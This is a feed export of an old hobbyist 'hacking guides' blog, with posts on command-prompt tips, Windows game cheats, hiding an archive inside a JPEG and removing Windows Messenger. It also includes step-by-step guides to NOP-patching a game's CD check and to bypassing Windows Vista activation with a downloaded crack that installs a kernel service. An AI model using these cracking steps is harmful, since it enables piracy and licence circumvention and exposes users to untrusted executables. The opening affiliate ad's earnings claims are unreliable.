. 3 .&lt;br /&gt;&lt;br /&gt;How will you earn Money?&lt;br /&gt;In simple words, this is your once in a lifetime opportunity to earn money online. They will pay you up to $1.00 USD, Rs. 45.00 INR for each user who registers for FREE with our Advertiser. Plus, they also pay you a whopping 20% extra for transactions generated by members refered by you!&lt;br /&gt;&lt;br /&gt;Why Money Cosmos?&lt;br /&gt;Money Cosmos is a venture of Karmath Infotech Private Limited ®&lt;br /&gt;There are several plus points about Money Cosmos, which differ us from other affiliate websites.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;&lt;span style="color:#009900;"&gt;• Registration is 100% Free! No Hidden Cost&lt;br /&gt;• You don't need to earn Rs.2,000 or 5,000 to get paid Our Minimum Payout is Just Rs.500&lt;br /&gt;• You don't need to wait for 90 or even 60 days for payments. We pay monthly.&lt;br /&gt;• We don't just say that we pay, we are the only website that proved that we really pay.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;What are you waiting for? &lt;a href="http://www.moneycosmos.com/"&gt;Click here to Join Money Cosmos&lt;/a&gt;&lt;/p&gt;India's&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1121101911456614922?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1121101911456614922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1121101911456614922' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1121101911456614922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1121101911456614922'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/02/moneycosmos.html' title='India&apos;s no.1 paying site'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8558425893762600961</id><published>2008-01-31T03:52:00.000-08:00</published><updated>2008-01-31T04:03:29.272-08:00</updated><title type='text'>Hide your files in a .jpeg file</title><content type='html'>For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1.&lt;/strong&gt; Gather all the files that you wish to hide in a folder anywhere in your PC &lt;strong&gt;(make it in C:\hidden - RECOMMENDED&lt;/strong&gt;).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2.&lt;/strong&gt; Now, add those files in a &lt;strong&gt;&lt;span style="color:#006600;"&gt;RAR archive&lt;/span&gt;&lt;/strong&gt; (e.g. secret.rar). This file should also be in the same directory &lt;strong&gt;&lt;span style="color:#000099;"&gt;(C:\hidden).&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3&lt;/strong&gt;. Now, look for a simple &lt;strong&gt;&lt;span style="color:#999900;"&gt;JPEG picture file&lt;/span&gt;&lt;/strong&gt; (e.g. logo.jpg). Copy/Paste that file also in &lt;em&gt;&lt;strong&gt;C:\hidden&lt;/strong&gt;&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;4.&lt;/strong&gt; Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory &lt;strong&gt;&lt;span style="color:#003300;"&gt;C:\hidden&lt;/span&gt;&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5.&lt;/strong&gt; Now type: “&lt;strong&gt;&lt;span style="color:#333300;"&gt;COPY /b logo.jpg + secret.rar output.jpg” (without quotes)&lt;/span&gt;&lt;/strong&gt; - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;6.&lt;/strong&gt; Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with &lt;strong&gt;WinRAR, it will show the hidden archive .&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8558425893762600961?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8558425893762600961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8558425893762600961' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8558425893762600961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8558425893762600961'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/for-this-you-will-only-need-to-download.html' title='Hide your files in a .jpeg file'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3903954176624111720</id><published>2008-01-31T03:43:00.000-08:00</published><updated>2008-01-31T03:52:17.392-08:00</updated><title type='text'>Customize the command prompt</title><content type='html'>&lt;strong&gt;1◘&lt;/strong&gt; Click on the Start Button and key in &lt;strong&gt;Command Prompt and hit Enter.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2◘&lt;/strong&gt; Once Command Prompt has started, right click on the top left icon in the menu bar and select &lt;span style="color:#006600;"&gt;Defaults&lt;/span&gt;. Alternatively you can select Properties if you want to have different settings for different Command Prompt shortcuts.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3◘&lt;/strong&gt; You will now see the four tabs of options to customize. The sections that I always work with are Font, Layout and Colors. To get started, click on the Font tab. &lt;strong&gt;&lt;span style="color:#333399;"&gt;Here you will be able to change the font and size used. If you would like a micro prompt as shown below, select Raster Fonts and size 4x6&lt;/span&gt;&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;4◘&lt;/strong&gt; On the Layout tab you can specify the size and location of the window as well as the buffer. I usually only change the Screen Buffer Height setting. This controls how many previous command lines are saved and can be scrolled back up through.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5◘&lt;/strong&gt; &lt;strong&gt;Increasing this value is useful if you are looking at a large directory with more than 300 files. I always increase the Height value to the max which is 9999&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;6◘&lt;/strong&gt; The &lt;strong&gt;&lt;span style="color:#000066;"&gt;Color tab is where you get to have the most fun changing the look of your Command Prompt&lt;/span&gt;&lt;/strong&gt;. Just select what you want to change the color for and then change the color.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;7◘&lt;/strong&gt; Back on the Options tab I recommend turning on &lt;strong&gt;&lt;span style="color:#006600;"&gt;Quick Edit Mode.&lt;/span&gt;&lt;/strong&gt; This allows you to easily highlight text without having to go to Edit -&gt; Mark and copy it by just right clicking. Then you can paste it by simply right clicking once more.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;8◘&lt;/strong&gt; When you are finished customizing your Command Prompt, just hit&lt;span style="color:#33cc00;"&gt;&lt;strong&gt; OK&lt;/strong&gt; &lt;/span&gt;to save your changes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3903954176624111720?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3903954176624111720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3903954176624111720' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3903954176624111720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3903954176624111720'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/1-click-on-start-button-and-key-in.html' title='Customize the command prompt'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4648753902614484432</id><published>2008-01-31T03:38:00.000-08:00</published><updated>2008-01-31T03:51:25.811-08:00</updated><title type='text'>Tips for command prompt</title><content type='html'>Turn on &lt;strong&gt;&lt;span style="color:#009900;"&gt;Quick Edit Mode&lt;/span&gt;&lt;/strong&gt;. This will allow you to easily select, copy and paste all with just your mouse and a right click.&lt;br /&gt;&lt;br /&gt;When typing in a file or folder name, type in part of the name and then hit the . TAB key to bring up matches. &lt;span style="color:#000099;"&gt;Use SHIFT +TAB to go the other direction&lt;br /&gt;&lt;/span&gt;&lt;img alt="Italic" src="http://www.blogger.com/img/gl.italic.gif" border="0" /&gt;&lt;br /&gt;When searching for a file, type in &lt;strong&gt;dir part_of_filename*&lt;/strong&gt; to look for the file in the folder. To search sub directories as well, append the /s flag as well. Example: &lt;strong&gt;&lt;em&gt;dir exp* /s&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Use the up arrow to go back over past commands. Alternatively you can &lt;strong&gt;&lt;span style="color:#6600cc;"&gt;hit F7&lt;/span&gt;&lt;/strong&gt; and go directly to the command.&lt;br /&gt;&lt;br /&gt;When working with network drives type: prompt &lt;strong&gt;$m$p$g&lt;/strong&gt; to show the full network path along with the drive prompt. Other prompt settings can be found by running prompt /?.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#6633ff;"&gt;&lt;strong&gt;You can print the contents of a file by typing: copy file.txt prn&lt;br /&gt;Write the output of any command by appending &gt; output.txt. For example, dir &gt; filelist.txt&lt;/strong&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4648753902614484432?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4648753902614484432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4648753902614484432' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4648753902614484432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4648753902614484432'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/turn-on-quick-edit-mode.html' title='Tips for command prompt'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-987247130683367025</id><published>2008-01-30T07:20:00.000-08:00</published><updated>2008-01-30T07:23:18.063-08:00</updated><title type='text'>How to crack ANY TYPE OF CD PROTECTION</title><content type='html'>Now I’m gonna show you, how to crack any type of CD Protection, using W32Dasm (you can download it from &lt;strong&gt;http://prt.kgb.pl/index.php?path=misc%2Fprogramowanie),&lt;/strong&gt;&lt;br /&gt;and HIEW (&lt;strong&gt;http://www.hiew.ru/&lt;/strong&gt;) .&lt;br /&gt;&lt;br /&gt;OK, let’s start:&lt;br /&gt;First of all, you have to run the game you want to crack, without the CD. The game, doesn’t work of course, BUT a window pops up, telling you an error message. This error message will help you to crack the game so, you’ve got to remember it.&lt;br /&gt;For example:&lt;br /&gt;Please insert the - CD, or: You need the CD to play the - . ( -, is thegame you want to crack). Anyway, if you can’t remember it,write it, in a little piece of paper. Now, run Win32Dasm , and on the toolbar, press the first little button on the &lt;strong&gt;left, OR, go to Disassembler&lt;br /&gt;-&gt;Open file to Disassemble.&lt;/strong&gt;&lt;br /&gt;A menu will pop up. Select the exe which you want to crack. The disassemble, will take few minutes so,&lt;br /&gt;OK, it finished its process. Now, in your screen, there is a strange text, and we can’t understand anything of course. Don’t worry, the only thing we have to do, ( If you want, you can change the font), is to click on the &lt;strong&gt;String Data References&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;the button next to the print button (Strn.REF).&lt;/em&gt;&lt;/strong&gt; You can see a window which is called String Data Items . Scroll down, and try tofind the game’s error message. When you’ll find it , double click on it , and then,close the window, to go back to the Win32Dasm text. As you can see you are somewhere in the CD check routine. This is the message’s place.&lt;br /&gt;Now comes the interesting and difficult part, so, be careful. We don’t know what all this mean, BUT we must know the &lt;strong&gt;@ offset ofevery call and jump command. Write down , every call and jump @ offset number. (You have to be sure, that the OPBAR change its used color to green). You need the number behind the @offset without the h.&lt;br /&gt;Let’s go to Hiew.&lt;br /&gt;HIEW:&lt;br /&gt;&lt;/strong&gt;To move up and down, use the cursor keys.&lt;br /&gt;Start HIEW. exe. In the HIEW directory, there is a list of exes and programs. Go to the directory, which you saved the game’s exe, we want to crack, and click on the exe. Click F4,and then, a menu will pop up, with 3 words. Text, Hex, and Decode. Click on Decode, and now, we can understand the list of numbers.Click F5, and you can now enter the number, we wrote down, in Win32Dasm. Type it, and you will be placed at the number’s place. The cursor is placed on a command.&lt;br /&gt;Before I’ll continue, I want to explain you something. For example, if the command where our cursor is placed, is &lt;strong&gt;E92BF9BF74, means that it is 5 bytes.Every 2 numbers, are one byte: E9-2B-F9-BF-74 = 90-90-90-90-90. 10 letters, mean, 5 bytes. The number 90, is the “Noop number”.OK, i hope you understood it ,&lt;br /&gt;Press F3, which means edit, and now you can edit these ten numbers.Type five times, the number 90. For every byte, 90. Now click on F10 to exit.We cracked the CD protection of the - . Congratulations!!!!&lt;br /&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-987247130683367025?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/987247130683367025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=987247130683367025' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/987247130683367025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/987247130683367025'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/now-im-gonna-show-you-how-to-crack-any.html' title='How to crack ANY TYPE OF CD PROTECTION'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3365447442031579173</id><published>2008-01-30T07:17:00.000-08:00</published><updated>2008-01-30T07:19:17.718-08:00</updated><title type='text'>Permanently activate windows vista</title><content type='html'>Install Windows Vista Ultimate edition (or other edition) without product key.&lt;br /&gt;Windows Vista needs to be applied with 2099-ReArm trick, so that the counter of minutes to no activation required period will not return to normal after reboot. Click on Start Orb button.&lt;br /&gt;Select “All Programs”, then “Accessories”.&lt;br /&gt;Right click on “&lt;strong&gt;Command Prompt&lt;/strong&gt;, then select&lt;strong&gt; “Run as Administrator (A)”.&lt;/strong&gt;&lt;br /&gt;If User Account Control (UAC) prompt a warning message, click on “Continue”.&lt;br /&gt;In the command prompt, type date and press Enter. You will see the following:&lt;br /&gt;&lt;br /&gt;Microsoft Windows [Version 6.0.6000]&lt;br /&gt;Copyright (c) 2006 Microsoft Corporation. All rights reserved.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;C:\Windows\system32&gt;date&lt;br /&gt;Current date: 12/19/2006 Thursday&lt;br /&gt;Enter new date:&lt;br /&gt;Enter 12/31/2099 (December 31, 2099).&lt;br /&gt;Next, type cscript slmgr.vbs -rearm. You will see something like the following:&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;C:\Windows\system32&gt;cscript slmgr.vbs -rearm&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.7&lt;br /&gt;Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;&lt;br /&gt;The command completed successfully.&lt;br /&gt;To make the change effectively, please restart the system.&lt;br /&gt;Then reset the date of the system to current date again by typing date again.&lt;/strong&gt; You will see the following:&lt;br /&gt;&lt;br /&gt;Microsoft Windows [Version 6.0.6000]&lt;br /&gt;Copyright (c) 2006 Microsoft Corporation. All rights reserved.&lt;br /&gt;&lt;br /&gt;C:\Windows\system32&gt;date&lt;br /&gt;Current date: 12/31/2099 Thursday&lt;br /&gt;Enter new date:&lt;br /&gt;Type in current date, i.e. 12/19/2006.&lt;br /&gt;Exit from command prompt, but do not restart the computer.&lt;br /&gt;Download StopTimer.zip, StopTimer.zip, StopTimer.zip or StopTimer.zip torrent.&lt;br /&gt;Extract the downloaded archive file into a folder. It should contains “Vista test crack.exe” and “timerstop.sys”.&lt;br /&gt;Execute or run the “Vista test crack.exe” by right click on “Vista test crack.exe”, and select “Run as Administrator (A)”.&lt;br /&gt;Optional: Press in Test button, and it will pop up a message says 4 timers are stopped. At this time, the counter should be freezed, Check with slmgr.vbs -dlv command, with the minutes left should be the same after a few minutes interval. If it’s the case, continue with the following steps to run the crack every startup.&lt;br /&gt;In the Vista test crack window, click on “Install” button. You will be prompted with “Service installed” message if everything is done properly and correctly. The crack will copy the patched stoptimer.sys to system folder and install a new service named “timerstop” to stop kernel-mode timers in spsys.sys system file.&lt;br /&gt;Exit from the crack, and restart the computer.&lt;br /&gt;The hacking is basically done. Next few steps to to verify that the activation grace period built-in countdown timer is actually stopped and disable the timers from working properly, and make sure that the crack is installed properly. After restart, log on to Windows Vista. Run for a few minutes.&lt;br /&gt;Press on Windows + R keys.&lt;br /&gt;Type slmgr.vbs -dlv to check the time left to activate Windows Vista. If the time left is 43200 minutes that’s mean the crack is successful.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With the crack, you will have the following in the registry:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#339999;"&gt;&lt;strong&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TimerStop]&lt;br /&gt;“Type”=dword:00000001&lt;br /&gt;“Start”=dword:00000002&lt;br /&gt;“ErrorControl”=dword:00000000&lt;br /&gt;“ImagePath”=hex(2):5c,00,3f,00,3f,00,5c,00,45,00,3a,00,5c,00,57,00,69,00,6e,00,\&lt;br /&gt;64,00,6f,00,77,00,73,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,\&lt;br /&gt;00,5c,00,54,00,69,00,6d,00,65,00,72,00,53,00,74,00,6f,00,70,00,2e,00,73,00,\&lt;br /&gt;79,00,73,00,00,00&lt;br /&gt;“DisplayName”=”TimerStop”&lt;/strong&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3365447442031579173?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3365447442031579173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3365447442031579173' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3365447442031579173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3365447442031579173'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/permanently-activate-windows-vista.html' title='Permanently activate windows vista'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-162854999178673091</id><published>2008-01-30T07:12:00.000-08:00</published><updated>2008-01-30T07:16:43.036-08:00</updated><title type='text'>Windows game cheats</title><content type='html'>Minesweeper&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Reveal Mines&lt;br /&gt;&lt;br /&gt;Instructions - Minimize or close all running applications. Launch Minesweeper, then type &lt;strong&gt;xyzzy.&lt;/strong&gt; Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a &lt;strong&gt;&lt;span style="color:#009900;"&gt;tiny white pixel in the top left corner of your desktop screen&lt;/span&gt;&lt;/strong&gt;. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pinball&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Extra Balls&lt;br /&gt;Instructions - Type &lt;strong&gt;1max&lt;/strong&gt; at the start of a new ball to get extra balls.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Gravity Well&lt;br /&gt;Instructions - Type &lt;strong&gt;gmax&lt;/strong&gt; at the start of a new game to activate the Gravity Well.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Instant Promotion&lt;br /&gt;Instructions - Type &lt;strong&gt;rmax&lt;/strong&gt; at the start of a new game to go up in ranks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Skill Shot&lt;br /&gt;Instructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:&lt;br /&gt;&lt;br /&gt;First: 15,000 points&lt;br /&gt;Second: 30,000 points&lt;br /&gt;Third: 75,000 points&lt;br /&gt;Fourth: 30,000 points&lt;br /&gt;Fifth: 15,000 points&lt;br /&gt;Sixth: 7,500 points&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Test Mode&lt;br /&gt;Instructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Unlimited Balls&lt;br /&gt;Instructions - Type &lt;strong&gt;bmax&lt;/strong&gt; at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FreeCell&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Instant Win&lt;br /&gt;Instructions - Hold down &lt;strong&gt;Ctrl + Shift + F10&lt;/strong&gt; during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Hidden Game Modes&lt;br /&gt;Instructions - In the "Game" menu choose "Select Game". Enter -&lt;strong&gt;1 or -2&lt;/strong&gt; to activate the hidden game modes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solitaire&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Instant Win&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Instructions - &lt;strong&gt;Press Alt + Shift + 2&lt;/strong&gt; during game play to instantly win.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secret - Draw single cards in a Draw Three game&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Instructions - Hold down &lt;strong&gt;CTRL + ALT + SHIFT&lt;/strong&gt; while drawing a new card. Instead of drawing three cards you will only draw one.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Infinite Points&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the Windows XP version of solitaire, draw from the deck at least twice. Hold control and drag a card down from the deck. Click the "A" key and then let go of the left mouse key. You will get 10 points for this. Continue doing this for infinite points!&lt;br /&gt;&lt;br /&gt;Infinite points trick II&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To do this trick, finish a game of solitaire with the time bonus option on. The cards will start bouncing. Click on the solitaire screen and the play again box will pop up. Select no, so the solitaire screen is just blank green. Use the instant win cheat (Alt+Shift+2) and you will recieve the time bonus you got last game will be added to your last game's score. For example, if your time bonus was 5000, and your final score was 6000, after using this glitch, you will have a score of 11000. This glitch can be used as many times as you want.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;registry hack which will allow you to see your opponents' cards&lt;br /&gt;Launch REGEDIT.EXE and navigate to HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Applets Hearts. NOTE: You may have to create the Hearts key under Applets In the right-hand pane, create a new String Value. &lt;strong&gt;Immediately rename it to "ZB" (without the quotes); give it a value of "42" (again, sans quotes). The next time you're in a game of Hearts, press CTRL + SHIFT + ALT + F12.&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-162854999178673091?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/162854999178673091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=162854999178673091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/162854999178673091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/162854999178673091'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/minesweeper-secret-reveal-mines.html' title='Windows game cheats'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-5712898614033291267</id><published>2008-01-30T07:02:00.000-08:00</published><updated>2008-01-30T07:08:53.404-08:00</updated><title type='text'>Remove windows messenger from xp</title><content type='html'>Copy and paste the following to a text file, and save as &lt;strong&gt;RemoveMsgr.bat&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;@echo off&lt;br /&gt;RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove&lt;br /&gt;@echo REGEDIT4&gt;%TMP%\RemoveMsgr.reg&lt;br /&gt;@echo.&gt;&gt;%TMP%\RemoveMsgr.reg&lt;br /&gt;@echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express]&gt;&gt;%TMP%\RemoveMsgr.reg&lt;br /&gt;@echo "Hide Messenger"=dword:00000002&gt;&gt;%TMP%\RemoveMsgr.reg&lt;br /&gt;@echo.&gt;&gt;%TMP%\RemoveMsgr.reg&lt;br /&gt;regedit /s %TMP%\RemoveMsgr.reg&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;• Close all Internet Explorer windows.&lt;br /&gt;• Run RemoveMsgr.bat, When prompted, click Yes to close all affected applications.&lt;br /&gt;• Restart your computer for the changes to take effect.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;You are done ..&lt;/strong&gt;&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-5712898614033291267?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/5712898614033291267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=5712898614033291267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5712898614033291267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5712898614033291267'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/copy-and-paste-following-to-text-file.html' title='Remove windows messenger from xp'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1535864552700651759</id><published>2008-01-30T04:21:00.000-08:00</published><updated>2008-01-30T04:28:29.996-08:00</updated><title type='text'>Secret Backdoor</title><content type='html'>Many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and 